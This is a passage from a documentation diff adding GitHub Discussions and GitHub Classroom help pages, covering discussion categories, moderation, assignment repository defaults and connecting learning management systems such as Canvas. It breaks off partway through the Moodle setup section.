gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about 